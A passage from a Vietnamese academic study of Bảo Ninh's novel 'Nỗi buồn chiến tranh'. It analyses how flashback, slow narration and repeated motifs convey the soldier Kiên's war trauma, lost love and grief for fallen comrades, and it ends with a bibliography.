lại như cũ.

Ra khỏi cuộc chiến với một tâm hồn hoang phế, Kiên đã trở thành một kẻ “dị mọ” cả thể xác lẫn tâm hồn. Kiên bị ám ảnh bởi quá khứ, bởi những cơn mơ nặng nhọc, đau đớn. Anh ngập chìm trong rượu, trong tăm tối, trở thành một tay nhà văn phường gàn dở. Vết thương tâm hồn Kiên mang về từ cuộc chiến không ngừng rỉ máu! Kiên thấy mình đã trở nên hoàn toàn sa đọa, đã trở nên thác loạn, đã ngập chìm trong tủi nhục, oán hờn và lú lẫn . Rồi càng ngày Kiên càng thấm thía “nỗi buồn chiến tranh”, “nỗi buồn được sống sót”. Một sự phi lí tột cùng, nhưng oái ăm thay nó lại là sự thực!

Bằng việc đi sâu khám phá những góc khuất trong tâm hồn người lính, Bảo Ninh đã không hề né tránh hiện thực của lịch sử cùng với những dư chấn của nó để viết lên những trang văn chân thực về những ám ảnh, bi kịch kéo dài của người lính cho đến tận thời hậu chiến – hiện thực tâm hồn bị chấn thương nặng nề sau chiến tranh.

Đảo thuật thời gian – cảm hứng lý giải, phân tích tư tưởng, tính cách nhân vật

Trong Nỗi buồn chiến tranh, việc nhà văn sử dụng thủ pháp đảo thuật thời gian đã mang lại hiệu quả thẩm mĩ sâu sắc cho tác phẩm – soi sáng quá khứ của nhân vật, từ đó góp phần lý giải, phân tích tư tưởng, tính cách của nhân vật.

Sau khi bước ra khỏi cuộc chiến, Kiên trở thành “kẻ xa lạ”, để cắt nghĩa tình trạng của anh, nhà văn đã để dòng hồi ức miên man, hỗn loạn cứ tự do lên tiếng, điều khiển Kiên. Một trong những sự kiện cứ đay nghiến anh mãi là những cuộc “hoang tình” trong đêm của đám trinh sát tại truông Gọi Hồn đã để lại trong Kiên nhiều suy tư. Anh không nhìn mối quan hệ giữa ba cô gái và những đồng đội của mình một cách méo mó. Chính tại cảnh huống này mà anh đã ngộ ra rằng: chiến tranh vừa có phần khốc liệt, đồng thời cũng đầy ắp lòng nhân ái, đức hi sinh: “Biết hết, và vì thế, lí ra là chỉ huy, anh cần ngăn chặn hiện tượng vô kỉ luật quá quẩn này (…). Song trái tim anh, trái tim của anh, trái tim thực thụ của người lính không đời nào cho phép anh ra tay hành động như vậy. Không những năn nỉ anh mà nó buộc anh phải im lặng, buộc anh phải hết lòng cảm thông. Chứ còn biết làm gì khác được, trước tiếng gọi man sơ, hoang dã của tuổi thanh xuân?”.

Chiến tranh một mặt có thể tôi luyện ý chí, niềm tin của con người nhưng mặt khác sự khốc liệt của chiến tranh làm con người mất đi niềm tin, trở nên vô cảm và có lúc không còn chú ý tới việc giữ gìn nhân tính. Đối với những người lính may mắn chưa gặp “lưỡi hái tử thần” thì sự đày ải trong chiến tranh khiến họ suy sụp:

“ Tôi (Can) không sợ chết, nhưng cứ bắn mãi giết mãi thế này thì chết hoại tình người. Dạo này đêm nào tôi cũng mộng thấy mình chết và bơi ra khỏi xác biến thành con ma cà rồng đi hút máu người. Anh còn nhớ trận Plâycần năm 72 không? Có nhớ cảnh thây người la liệt trong khu gia binh không? Máu tới bụng chân, lội lõm bõm… Tôi vẫn tự nhủ là tránh giết người bằng giao lê, nhưng mà quen tay mất rồi” .

Còn dưới đây là dòng suy nghĩ của Kiên sau khi nghe Can:

“Kiên tò mò nhìn Can. Trong quân ngũ thỉnh thoảng lại thấy tòi ra vài tay dị giáo kiểu này. Tâm hồn bấn loạn, ngôn ngữ độc thoại rối mù, họ bị thực cảnh chiến tranh đầy ải tàn nhẫn, làm cho suy sụp sâu sắc cả về thể xác lẫn tinh thần”.

Rõ ràng, dòng suy nghĩ trên đây của Kiên thể hiện nhận thức của anh về sự thay đổi của Can. Trước đây, Kiên thấy Can vốn không dài dòng dòng triết lí, vốn mang “bản chất con nhà nông thích hợp tuyệt đối với cảnh địa ngục chiến hào”. Cho nên, Kiên không ngờ Can lại có thể có những lời lẽ đầy tính triết lí và tràn ngập sự bi quan như thế và “đã mang thân làm thằng lính B3 mà lại hay kêu rên và mau nước mắt thì khốn nạn càng thêm khốn nạn Can ạ”. Ở đây, sự thay đổi về tính cách cũng như nhận thức của Can đã giúp Kiên hiểu ra rằng: chính sự đày ải của thực cảnh chiến tranh đã khiến cho những người lính như Can suy sụp tinh thần đến vậy.

Tốc độ trần thuật chậm – sự suy ngẫm, triết lý của nhân vật trong hành trình “đi tìm thời gian đã mất”

Trong Nỗi buồn chiến tranh, quá khứ được nhà văn tái hiện lại thông qua dòng hồi ức của nhân vật Kiên. Trong dòng hồi ức ấy, những quãng đời về tuổi thơ, tuổi học trò, về một Hà Nội thuở bình yên, về mười năm quân ngũ với biết bao gương mặt thân thương của người thân và đồng đội… lần lượt hiện về trong kí ức Kiên với một nỗi ám ánh khôn xiết như một duyên nợ của cuộc đời mà anh phải trả. Nhưng trong hành trình “đi tìm thời gian đã mất” ấy, càng trở lại quá khứ thì Kiên càng cảm nhận một cách rõ ràng hơn, thấm thía hơn “nỗi buồn” trong lòng: “nỗi buồn chiến tranh”, nỗi buồn tình yêu và nỗi buồn sáng tạo. Hơn nữa, tốc độ trần thuật chậm trong tác phẩm đã tạo cho nhịp kể của truyện một tính chất hồi cố, trăn trở, góp phần kéo giãn mạch truyện làm cho dòng cảm xúc, cũng như những suy ngẫm, triết lý của nhân vật được giãi bày, thổ lộ trong những cảm nhận về chiến tranh, về tình yêu và sáng tạo nghệ thuật.

Kiên, kẻ sống sót lạ lùng sau bao hiểm nguy luôn mang trong mình dư âm của cái chết. Với anh cái chết “vừa mơ hồ, vừa sâu xa hơn người sống. Họ cô đơn, trầm lắng và kì diệu như ảnh ảo. Và đôi khi hồn người chết trận hóa thành âm thanh chứ không phải hình bóng”. Và “theo dần năm tháng những luồng sinh khí chết ấy đã đậm lại trong lòng anh hòa tiềm thức trở thành bóng tối của tâm hồn anh” . Qua những năm tháng gian khổ, Kiên trở thành kẻ sống sót dai dẳng như có sự bảo hộ mơ hồ của “định mệnh”. Nhưng “cái giá của sự may mắn ấy là anh đã lần lượt mất hết những người bạn, người anh em, người đồng đội chí thiết nhất. Họ bị giết ngay trước mặt kiên hoặc đã chết ngay trong vòng tay của anh. Nhiều người đã chết để gỡ cho tính mạng của Kiên”.

Bằng sự trải nghiệm từ chính cuộc đời của người lính chiến, Kiên đã đưa ra định nghĩa về chiến tranh thật rùng rợn: “Chiến tranh là cõi không nhà, không cửa, lang thang khốn khổ và phiêu bạt vĩ đại, là cõi không đàn ông, không đàn bà, thế giới bạt sầu vô cảm và tuyệt tự khủng khiếp nhất của dòng giống con người”. Trong cảm nhận, suy nghĩ của Kiên thì chiến tranh là một cái gì đó rất khủng khiếp và ghê sợ. Nó không mang khuôn mặt phụ nữ, không mang khuôn mặt trẻ em và nói chung là không có bộ mặt con người. Nó đã hủy diệt con người cả tinh thần lẫn thể xác.

Với Kiên tất cả những điều đã thấy trong chiến tranh thì cái làm anh day dứt nhất đó là sự hi sinh của đồng đội. Anh suy nghĩ : “Một người ngã xuống để những người khác sống, điều đó chẳng có gì mới, thật thế. Nhưng khi anh và tôi thì sống còn những người ưu tú nhất, tốt đẹp nhất, những người xứng đáng hơn ai hết quyền sống trên cõi dương gian này đều gục ngã, bị nghiền nát, bị cỗ máy đẫm máu của chiến trận chà đạp, đày đọa (…), những tổn thất mất mát có thể bù đắp, các vết thương sẽ lành, đau khổ sẽ hóa thạch nhưng nỗi buồn về cuộc chiến tranh thì sẽ càng ngày càng thấm thía hơn, sẽ không bao giờ nguôi”. Anh cho rằng tất cả sẽ mờ đi theo năm tháng của thời gian nhưng nỗi buồn thì mãi mãi vẫn còn và in đậm trong tâm hồn con người. Với những trải nghiệm của mình, Kiên đã có rất nhiều những suy ngẫm, triết lý về cuộc sống: “Các bạn hãy tin tôi: Trong lòng cái chết không phải là địa ngục khủng khiếp, trong lòng cái chết vẫn là cuộc sống, dĩ nhiên là một kiểu khác của cuộc sống kia. Trong lòng cái chết ta có được sự bình yên, sự thanh thoát và tự do chân chính…” . Kiên luôn dằn vặt với bản thân mình nên anh phải tự triết lý, chiêm nghiệm để cho tâm hồn mình được thanh thản hơn. Qua những dòng cảm xúc, suy ngẫm ấy, chúng ta có thể cảm nhận được ở anh một con người đang phải chịu bao nhiêu nỗi buồn không sao xóa được.

Cùng với kí ức về chiến tranh, kí ức về tình yêu cũng luôn rạo rực, bùng cháy trong tâm tưởng Kiên. Nếu như chiến tranh đánh thức trong Kiên sự tàn bạo và hủy diệt thì những người phụ nữ từ Hạnh cho đến Phương, người nữ y tá trong Điều trị 8, Lan Đồi Mơ, Hiền… lại đánh thức trong anh tình yêu – một tình yêu mà cho đến tận cuối cuộc đời anh, vĩnh viễn không trọn vẹn. Tình yêu, trong ký ức của Kiên, là mối tình tuyệt đẹp mà đau xót với cô bạn học Phương. Bị cuốn vào vòng xoáy nghiệt ngã của cuộc chiến, tình yêu cũng bị đày đọa, bị đẩy tới bờ vực của sự hủy diệt. Những suy nghĩ của Kiên trên chuyến tàu định mệnh năm xưa đã cho thấy vết rạn nứt trong tình cảm của họ: “Thì ra những tai họa ráng xuống đời hai đứa, đối với Phương có vẻ không hề là tai họa. Kiên nghĩ. Trái lại dường như nàng chỉ coi đó là những yếu tố mới trong cuộc sống mà nàng sẵn sàng đón nhận và thích nghi, thậm chí khá hài lòng” . Mối tình của họ mãi mãi là mối tình đau khổ, không thành với những vết thương không thể chữa lành trong thời bình. Thế nhưng cái duy nhất mà nàng không bao giờ đánh mất là tình yêu giành cho Kiên. Tình yêu của Kiên và Phương như là biểu tượng của cái đẹp, đối lập với chiến tranh khốc liệt. Trong cuộc chiến đẫm máu, lạnh lùng, “vị ngọt của vị sữa trinh nữ đã cho anh sinh lực để trở thành kẻ mạnh nhất, nhiều hồng phúc nhất trong chiến tranh – trở thành kẻ sống sót” .

Tình yêu của Kiên trong trắng và si mê lạ lùng. Tình yêu đã bảo hộ và cứu rỗi anh qua những khoảnh khắc cô đơn nhất của chiến tranh. Chính những giấc mộng về tình yêu là sợi dây mong manh nhưng bền chặt níu giữ anh lại với cuộc đời. Nhiều khi đứng bên dòng sông Mê “mấp mé bên bờ vực của cái chết”, Kiên vẫn nghe văng vẳng tiếng gọi của Phương trong ánh hoàng hôn cay đắng năm nào. Tình yêu vẫn bảo hộ Kiên thoát khỏi cái chết. Song, cay đắng thay, Phương “đã bỏ ra đi vào đầu mùa đông”. Hai cái lạnh song trùng thấu buốt tim anh – một mùa đông đơn côi, một sự ra đi “đau đớn, đột ngột và độc địa”. Từ khi mất Phương, Kiên càng dấn sâu vào mộng mị, hết cơn mơ này đến giấc mộng khác, nhớ Phương làm anh nhớ chiến tranh “mảnh đời còn lại sau mười năm bị lửa đạn của chiến tranh văm xé lại bị móng vuốt của tình yêu xéo nát”. Nhưng dù phải chịu khổ đau, dù có phải xé nát ra từng mảnh Kiên vẫn khát khao Phương trở về, bởi với anh, Phương vẫn là toàn bộ cuộc đời. Phương ra đi nhưng tiếng gọi tình yêu của Phương “mãi mãi còn đó, chờ đợi anh trên đường quá khứ”.

Với Nỗi buồn chiến tranh, tác giả đã để cho nhân vật đưa ra nhiều triết lý về cuộc sống xung quanh. Kiên là người đã đi qua cuộc chiến tranh ác liệt của dân tộc, anh đã nếm đủ ngọn ngành của mọi nỗi đau trong chiến tranh. Bởi vậy mà khi trở về với cuộc sống thực tại, anh cũng không thể nào nguôi nổi được những đau đớn trong quá khứ. Anh luôn sống trong những ám ảnh, những hồi tưởng về quá khứ, và anh đã thú nhận rằng: “Cuộc đời tôi kì thực có khác nào con thuyền bơi ngược dòng sông không ngừng bị đẩy lùi về dĩ vãng. Đối với tôi tương lai đã nằm lại ở phía sau xa kia rồi và không phải là cuộc sống mới, thời đại mới không phải là những hi vọng về tương lai tốt đẹp đã cứu giúp tôi, mà trái lại những tấm thảm kịch của quá khứ đã nâng đỡ hồn tôi, tạo sức mạnh tâm hồn cho tôi thoát khỏi vô tận những tấn trò đời hôm nay” . Ra khỏi chiến tranh là người chiến sĩ, Kiên tự thấy mình có nghĩa vụ, sứ mệnh thiêng liêng cao cả mà số phận trao cho anh chính là bắt anh phải trở thành nhân chứng để nói lên một thời đại lịch sử của thế hệ mình. “Viết lại có nghĩa là sống lại” [37,6], cho nên phải viết những gì đã qua, những gì anh từng chứng kiến. Chính ý thức sứ mệnh hay “thiên mệnh” ấy đã chi phối việc chọn đề tài của Kiên: “Đấy, cần phải viết về chiến tranh trong niềm thôi thúc ấy, viết sao cho xao xuyến nổi lòng dạ, xúc động nổi trái tim con người như thể viết về tình yêu, về nỗi đau sao cho có thể truyền được vào cuộc sống đương thời luồng điện của những xúc cảm chỉ có thể diễn đạt bằng quá khứ của quá khứ” . Kiên đã viết không chỉ để tìm lại chính mình mà còn “đi tìm thời gian đã mất”, tìm lại chân dung của đồng đội, của cả một thế hệ các anh trong quá khứ. Những gương mặt của những người thân yêu lần lượt trở về trên những trang bản thảo như một sự khẳng định giá trị của quá khứ với cuộc sống hiện tại, nó luôn là điểm tựa, là niềm an ủi khiến Kiên có niềm tin vào những gì tốt đẹp không thể mất được của cuộc sống đã qua. Bằng sự từng trải, bằng những chiêm nghiệm của cuộc đời mình. Kiên tin rằng: “Chiến tranh không tiêu diệt được cái gì hết mà nó chỉ như ngọn lửa thử vàng để cho tình yêu, tình đồng đội càng thêm sâu đậm. Tất cả vẫn còn lại đó, vẫn y nguyên (…), tất cả những ai bị chiến tranh làm cho biến đổi, họ vẫn mãi mãi như là họ trong quá khứ” . Thông qua những suy ngẫm, triết lý của nhân vật mà tác giả muốn gửi gắm đến người đọc những bức thông điệp giàu chất nhân văn về số phận con người, về cuộc sống hiện thực.

Sống ngột ngạt trong cõi đời như một kẻ mộng du miên man “đi tìm thời gian đã mất”, Kiên trở thành kẻ mắc kẹt không lối thoát. Anh đắm chìm trong những giấc mộng không đầu không cuối về chiến tranh, về tình yêu, về “thiên mệnh” sáng tạo nghệ thuật. Dường như anh đã cảm nhận cuộc sống bằng nỗi buồn dằng dặc, nỗi buồn không tìm được sự đồng cảm sẻ chia. Với lối kể chuyện chậm rãi, kể tỉ mỉ về từng sự kiện, chi tiết, “Nỗi buồn chiến tranh là nhịp điệu của một con tàu lầm lũi trong đêm trường, trên đó có một con người “đi tìm thời gian đã mất”” [61].

Nhà văn đã để cho nhân vật lên tiếng và nói về những suy nghĩ, những điều thầm kín trong con người họ. Để từ đó, người đọc nhìn nhận được sâu hơn về suy nghĩ, số phận của nhân vật. Có thể nói, những suy ngẫm, triết lý của Kiên trong hành trình “đi tìm thời gian đã mất” đã đem lại cho Bảo Ninh một cái nhìn sâu sắc hơn về các vấn đề của đời sống và tạo cho trang văn mang đậm màu sắc chính luận giàu chất trí tuệ. Điều đó, đã thể hiện được nỗi lo âu, sự trăn trở của nhà văn trước cuộc đời, trước con người. Ngòi bút của ông đã hòa cùng những trăn trở suy tư, những băn khoăn, dằn vặt của nhân vật về một quá khứ đau buồn không thể nào nguôi quên.

Nỗi buồn chiến tranh“nỗi buồn nguyên khối có khả năng thanh lọc tâm hồn con người” [28,105]. Nỗi buồn ấy là dòng hồi ức mãnh liệt xen lẫn nhu cầu tự vấn lương tâm, phán xét mình, một cuộc truy tìm chân lí riết róng, đau khổ nhưng đẹp đẽ, với tư cách là một người lính, một người viết văn vì thế hệ mình, vì đồng đội thân yêu của mình, vì những hi sinh thầm lặng và vô cùng to lớn của dân tộc mình.

Trần thuật trùng lặp – những nỗi đau không bao giờ nguôi về thân phận con người trong chiến tranh

“Văn học và đời sống là hai vòng tròn đồng tâm mà tâm điểm của nó là con người” (Nguyễn Minh Châu). Một tác phẩm văn học có giá trị thẩm mĩ, giá trị sáng tạo đích thực phải thể hiện một quan niệm nghệ thuật về con người, tức nhà văn thể hiện trong tác phẩm của mình “sự lí giải, cắt nghĩa, sự cảm thấy con người đã hóa thân thành các nguyên tắc, phương tiện, biện pháp thể hiện con người trong văn học, tạo nên giá trị nghệ thuật và thẩm mĩ cho các hình tượng nhân vật” [56,41]. Phương thức trần thuật trùng lặp (sự lặp lại của các biểu tượng, mô típ, hình ảnh (mưa, đêm, cái chết, giấc mơ), từ ngữ, cú pháp, nhân vật…) cũng chính là một hình thức nghệ thuật để hiện thực hóa quan niệm nghệ thuật về con người của Bảo Ninh trong Nỗi buồn chiến tranh – quan niệm về thân phận con người trong chiến tranh.

Nếu “số phận” là “sự sống, sự tồn tại dành cho mỗi người, mỗi sự vật” [51,866] thì “thân phận” là “địa vị xã hội thấp hèn và cảnh ngộ không may mà con người không sao thoát khỏi được” [51,924]. Thân phận con người trong Nỗi buồn chiến tranh bị chi phối bởi cuộc chiến tranh tàn khốc, hủy diệt và “chiến tranh chính là “cảnh ngộ không may mà con người không sao thoát khỏi được” của những con người trong Nỗi buồn chiến tranh” [69,50]. Đó là Kiên, Phương, là Cừ, Từ, Tâm, Hòa, Can, Quảng, là những cô gái, những người chiến sĩ đêm đêm tìm đến với nhau …

Chiến tranh do con người tạo ra chứ không phải do một lực lượng siêu nhiên, duy tâm nào quyết định. Nhưng ám ảnh về chiến tranh cùng với những nỗi đau lại như một thứ “định mệnh” đối với thân phận con người. Những câu văn, những biểu tượng, mô típ, hình ảnh (mưa, đêm, cái chết, giấc mơ), những người đồng đội vào sinh ra tử… cứ trở đi trở lại, xuất hiện liên tiếp trong Nỗi buồn chiến tranh. Nó giống như dòng chảy thân phận, một thân phận không thể khác của con người với vết thương chiến tranh và những ám ảnh về nó – những nỗi đau không bao giờ nguôi về thân phận con người trong chiến tranh.

Trong Nỗi buồn chiến tranh, thông qua cảm nhận của Kiên và các nhân vật khác, những định nghĩa về chiến tranh liên tiếp được đưa ra nhưng tất cả đều nhuốm màu khổ đau, chết chóc, bạo tàn:

“Chiến tranh là cõi không nhà, không cửa, lang thang khốn khổ và phiêu bạt vĩ đại, là cõi không đàn ông, không đàn bà, thế giới bạt sầu vô cảm và tuyệt tự khủng khiếp nhất của dòng giống con người” .

“Chiến tranh là nơi dành cho thói hiếu sát. Máu hung tàn. Tâm lí thú rừng. Ý chí tối tăm và lòng dạ gỗ đá” .

Qua những định nghĩa về chiến tranh, nhà văn đã đi sâu khai thác những mặt trái của cuộc chiến. Đó là những hi sinh mất mát, những nỗi đau dai dẳng được thể hiện qua thân phận của người lính. Trong Nỗi buồn chiến tranh, cái chết của những người lính cách mạng được miêu tả từ góc nhìn thân phận. Trong những giấc mơ không đầu, không cuối, trong vùng kí ức mơ tối về chiến tranh của Kiên đâu đâu cũng rợn ngợp xác chết. Những ngày tháng trở về với truông Gọi Hồn đầy máu, đầy âm khí, Kiên đã ngược thời gian tìm về những đoạn kí ức mong manh. Những cái chết thảm khốc của đồng đội và giờ đây tất cả những âm hồn còn lởn vởn trong không gian và soi bóng bên anh trong từng phút giây khắc khoải của cuộc đời. Đó là cái chết của Từ – người đã hi sinh tính mạng để lấp đầy cho một giây phút chần chừ của Kiên ở Lăng Cha Cả, cứu sống Kiên khỏi phải hứng chịu loạt đạn trước họng súng của kẻ bên kia chiến tuyến vừa kịp bắn ra. Đó cũng là cái chết của Cừ – người chiến sĩ đã nổ súng bắn chặn cả một trung đội địch cho nhóm trinh sát của Kiên rút chạy sau một cú đột nhập vào sở chỉ huy địch không thành. Đó còn là cái chết của Tâm – người đã dũng cảm giữ lấy tên ngụy cho Kiên và đồng đội chạy trốn khỏi họng súng đen ngòm của kẻ địch đang hướng tới. Nhưng trong đời lính chiến, có lẽ “kỉ niệm bi thảm, thương tâm, hiểm nghèo nhất trong kí ức chiến tranh của Kiên là kỉ niệm về Hòa” – cô giao liên xinh đẹp, người Hải Hậu. Vào những tháng ngày ác liệt nhất của bể khổ Mậu Thân 1968, Hòa đã kịp thời nhử bọn địch về phía mình để cứu Kiên và đoàn thương binh thoát khỏi vòng vây hiểm nghèo. Để rồi Hòa phải hi sinh trong sự dày vò của những tên lính Mĩ da đen “như một bầy vượn khổng lồ” trước con mắt bất lực của Kiên.

Bên cạnh những con người anh hùng xả thân vì đồng đội, những cái chết của người lính với tư cách là một con người bình thường cũng luôn để lại trong lòng Kiên những nỗi đau day dứt, không nguôi về thân phận của con người trong chiến tranh. Can – người đồng đội đảo ngũ của Kiên đã chết trên đường chạy trốn về quê mẹ khi mà miền đất anh ta ao ước trở về còn xa lắm. Hay là Quảng – người tiểu đội trưởng đầu tiên của Kiên bị thương trong một trận đánh chiến dịch Đông Sa Thầy. Vì quá đau đớn, Quảng đã kết liễu nỗi đau thể xác bằng quả lựu đạn giật được từ bên hông Kiên. Tiếng cười cuồng loạn của Quảng xoáy sâu vào tâm trí Kiên như tiếng vọng của nỗi đau cùng cực mà người lính phải chịu đựng trên bước đường tìm về cái chết. Chiến tranh là thứ đêm đen, dài đặc, khủng khiếp nhất bủa vây lấy thân phận con người. Nhưng có lẽ ám ảnh, day dứt nhất của hiện thực chiến tranh dường như đọng lại trong kí ức Kiên là cái chết của tiểu đoàn 27, mùa khô năm 1969 mà Kiên là một trong số ít người sống sót. Sau trận bại vong ấy, biết bao những hồn ma lang thang khắp các bụi bờ ven rừng và truông núi vô danh từ bấy mang tên Gọi Hồn.

Mỗi nhân vật trong Nỗi buồn chiến tranh là một số phận, một mảnh đời riêng, nhưng dường như tất cả đều xoay quanh cái cơ cực, khổ đau của cuộc sống chiến tranh. Qua đó, chúng ta càng thấm thía hơn những số phận nhỏ bé của con người trước thế lực hủy diệt bạo tàn của chiến tranh. Những hình ảnh về hồn ma, máu, cái chết được điệp trùng, thậm chí là không gian mưa, thời gian “đêm” được lặp lại đã tạo nên sự dồn nén, ám ảnh về tính chất khốc liệt và hủy diệt của chiến tranh. Chiến tranh là thứ định mệnh bủa vây, bám riết, đeo đẳng thân phận con người. Những gương mặt người lính chiến xuất hiện trong Nỗi buồn chiến tranh hiện lên với đủ lứa tuổi, nghề nghiệp, nhiều cá tính, nhiều vùng quê, thậm chí ở các chiến tuyến khác nhau… nhưng tất cả họ đều có chung một thân phận, “một địa vị thấp hèn”, “con sâu cái kiến” trong chiến tranh. Những cái chết được nhắc đi nhắc lại với nhiều cách thức, nhiều phương thức là nhằm làm nhấn mạnh sự bất lực, bất khả kháng của con người trong chiến tranh.

Cùng với vết thương chiến tranh, những ám ảnh về quá khứ, trong đó quá khứ chiến tranh cũng là nỗi day dứt không cùng trong tâm hồn của người lính chiến – Kiên. Liên tiếp những từ ngữ, hình ảnh chỉ dòng thời gian quá khứ: từ đó, thời ấy, hồi đó, chiều hôm ấy, hồi xưa, năm ấy, ngày trước… được lặp lại. “Đêm”, “mưa” cũng là thứ môi trường di dưỡng quá khứ trong Kiên. Hiện tại bị quá khứ hóa, còn

tương lai bị quá khứ làm cho nhòe mờ. Kiên sống ở hiện tại nhưng quá khứ luôn bấu víu lấy anh bằng những bóng ma, những cái chết lặp lại. Mỗi lần nhắm mắt dọi vào hồi ức, Kiên không sao quên được hình ảnh ba cô gái bị bọn thám báo hãm hiếp và giết chết. Anh luôn bị ám ảnh bởi câu chuyện tình mông muội giữa các chiến sĩ, đồng đội của anh với ba cô gái tăng gia của huyện đội 67 nơi núi rừng sâu thẳm của đại ngàn, ghim vào lòng Kiên như một vết xước: “Hòa bình chẳng qua là thứ cây mọc lên từ máu thịt anh em mình, để từ lại chút xương mà những người được phân công nằm lại gác rừng, lại là những người đáng sống nhất” . Để có được hòa bình thì dân tộc ta phải mất đi bao nhiêu là người con, họ đã đổ biết bao xương máu của mình để có được ngày hôm nay. Sự lặp lại liên tiếp của các biểu tượng, mô típ, hình ảnh (mưa, đêm, cái chết, giấc mơ), sự lặp lại một từ một câu, một trạng thái, một cảnh ngộ hay cách lặp lại của một thời gian, một không gian trong Nỗi buồn chiến tranh, vừa là nhịp điệu của dòng hồi ức nhiều day dứt về quá khứ chiến tranh đầy ám ảnh, vừa tái hiện một thế giới mà trong đó thân phận con người như bị vỡ vụn, nghiền nát trước sự giày xéo tàn khốc của chiến tranh.

Trải qua tất cả thời khắc kinh hoàng của chiến tranh, Kiên – kẻ sống sót lạ lùng sau bao nhiêu hiểm nguy luôn mang trong mình dư âm của cái chết với những nỗi đau không cùng về thân phận nhỏ bé của con người trong chiến tranh. “Những cái chết “của Kiên” đa dạng nhiều màu vẻ, giàu sắc khí và sinh động hơn người”. “Theo dần năm tháng những luồng sinh khí chết ấy đã đậm lại trong lòng anh hòa tiềm thức trở thành bóng tối của tâm hồn anh. Dằng dặc trôi qua trong hồi ức của Kiên vô vàn những hồn ma thân thiết lẳng lặng âm thầm kéo lê mãi trong đời anh với nỗi đau buồn dai dẳng, không nguôi”.

Có thể nhận thấy rằng, bản thân nhan đề Nỗi buồn chiến tranh đã gợi lên cảm hứng thân phận. Đó là nỗi đau, nỗi mất mát, nỗi ám ảnh kinh hoàng của người lính về sự tàn khốc, hủy diệt của chiến tranh. Hơn nữa, phương thức trần thuật trùng lặp trên nhiều bình diện của tác phẩm đã khẳng định một lần nữa ý niệm về thân phận cho cuốn tiểu thuyết – thân phận con người trong chiến tranh.

        Nỗi buồn chiến tranh cuốn người đọc vào thế giới của những giấc mơ, những kí ức gãy vụn, những ám ảnh của chiến trận, của nỗi đau tình yêu tan vỡ, của nỗi buồn thân phận, của những nỗi niềm nuối tiếc đam mê tạo nên dư âm về một “nỗi buồn chiến tranh mênh mông cao cả” trong lòng người đọc.

TÀI LIỆU THAM KHẢO

Tiếng Việt

  1. Thái Phan Vàng Anh (2009), Thời gian trần thuật trong tiểu thuyết Việt Nam

     đương đại, Tạp chí Khoa học, Đại học Huế (54), tr. 5-15.

  1. Thái Phan Vàng Anh (2010), Người kể chuyện trong tiểu thuyết Việt Nam đương đại, Luận án Tiến sĩ Văn học, Viện Văn học, Hà Nội.
  2. Nguyễn Thị Vân Anh (2011), Diễn biến của thời gian tự sự trong tiểu thuyết Ma Văn Kháng, Luận văn Thạc sĩ, Trường Đại học Sư phạm Hà Nội.
  3. Nguyễn Thị Ánh (2008), Phía Tây không có gì lạ và Nỗi buồn chiến tranh, Luận văn Thạc sĩ, Trường Đại học Sư phạm Hà Nội.
  4. Nguyễn Thị Bình (1996), Những đổi mới văn xuôi nghệ thuật Việt Nam sau 1975, Luận án phó Tiến sĩ Ngữ văn, Trường Đại học Sư phạm Hà Nội.
  5. Trần Duy Châu (1994), Từ đâu đến “Nỗi buồn chiến tranh”?, Tạp chí Cộng sản (10), tr. 54-55.
  6. Đào Thị Cúc (2009), Không gian và thời gian nghệ thuật trong tiểu thuyết Lê Lựu thời kì đổi mới, Luận văn Thạc sĩ, Trường Đại học Khoa học xã hội và Nhân văn, Hà Nội.
  7. Khương Thị Thu Cúc (2002), Dòng ý thức của nhân vật trung tâm trong tiểu thuyết Thân phận của tình yêu, Báo cáo khoa học, Trường Đại học Sư phạm Hà Nội.
  8. Trần Thị Hồng Duyên (2007), Điểm nhìn nghệ thuật trong tiểu thuyết Thân phận của tình yêu (Bảo Ninh), Báo cáo khoa học, Trường Đại học Sư phạm Hà Nội.
  9. Nguyễn Đăng Điệp (2004), “Kĩ thuật dòng ý thức qua Nỗi buồn chiến tranh của Bảo Ninh”, Tự sự học – một số vấn đề lí luận và lịch sử, phần 1, Nxb Đại học Sư phạm Hà Nội, tr. 399- 408.
  10. Đặng Anh Đào (1995), Đổi mới nghệ thuật tiểu thuyết phương Tây hiện đại, Nxb Giáo dục, Hà Nội.
  11. Lê Bá Hán, Trần Đình Sử, Nguyễn Khắc Phi (đồng chủ biên) (1992), Từ điển thuật ngữ văn học, Nxb Giáo dục, Hà Nội.
  12. Đỗ Đức Hiểu (2006), Thi pháp hiện đại, Nxb Hội Nhà văn, Hà Nội.
  13. Trần Quốc Hội (2007), Tìm hiểu trình tự thời gian nghệ thuật của Ăn mày dĩ vãng và Nỗi buồn chiến tranh – tiếp cận từ lý thuyết thời gian của Genette, Tạp chí Sông Hương (225), tr. 16 – 21.
  14. Trần Quốc Hội (2011), Cách xử lý thời gian trong Nỗi buồn chiến tranh của Bảo Ninh, Nguồn: Vanck21dhsphue.blogspot.com.
  15. Nguyễn Thái Hòa (2000), Những vấn đề thi pháp của truyện, Nxb Giáo dục, Hà Nội.
  16. Đào Duy Hiệp (2008), “Thời gian trong Thân phận của tình yêu của Bảo Ninh”, Phê bình văn học từ lí thuyết hiện đại, Nxb Giáo dục, Hà Nội.
  17. Đào Duy Hiệp (2008), Phê bình văn học từ lý thuyết hiện đại, Nxb Giáo dục, Hà Nội.
  18. Đào Duy Hiệp (2003), Thời gian trong “Đi tìm thời gian đã mất” của Marcel Proust, Luận án Tiến sĩ Ngữ văn, Trường Đại học Khoa học xã hội và Nhân văn, Hà Nội.
  19. Lê Thị Tuyết Hạnh (1997), Thời gian tự sự như một nhân tố cấu trúc văn bản văn xuôi nghệ thuật (xét qua các truyện ngắn Việt Nam giai đoạn 1975 – 1995), Luận án phó Tiến sĩ, Trường Đại học Sư phạm Hà Nội.
  20. Trần Thanh Hiên (2011), Thời gian trần thuật trong Âm thanh và cuồng nộ của William Faulkner, Nguồn: 123doc.vn.
  21. Lê Thị Thanh Huyền (2006), Ý thức về nhịp điệu trong một số tiểu thuyết Việt Nam thời đổi mới, Luận văn Thạc sĩ, Trường Đại học Sư phạm Hà Nội.
  22. Nguyễn Thị Hoàn (2010), Thời gian tự sự trong tiểu thuyết Dưới chín tầng trời của Dương Hướng, Luận văn Thạc sĩ, Trường Đại học Sư phạm Hà Nội.
  23. Hoàng Thúy Hằng (2010), Lời nói bên trong trong Nỗi buồn chiến tranh, Luận văn Thạc sĩ, Trường Đại học Sư phạm Hà Nội.
  24. Trần Thị Huệ (2007), Hình tượng người phụ nữ trong tiểu thuyết “Thân phận của tình yêu” – Bảo Ninh, Khóa luận tốt nghiệp, Trường Đại học Sư phạm Hà Nội.
